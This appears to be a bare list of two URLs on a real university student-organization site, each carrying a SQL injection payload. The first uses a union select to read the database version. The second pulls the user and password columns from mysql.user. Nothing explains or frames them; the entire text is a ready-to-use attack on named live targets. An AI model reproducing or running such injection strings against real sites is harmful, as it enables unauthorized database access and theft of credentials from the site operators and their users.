https://students.washington.edu/shpe/officers.php?id=-1+union+select+1,version(),3,4,5,6,7/*

http://students.washington.edu/wwuf/calendar/cal_cat.php?op=cat&id=-1'+union+select+1,2,3,4,5,6,7,8,9,0,11,concat_ws(0x3a,user,password),13,14,15,16,17,18+from+mysql.user/*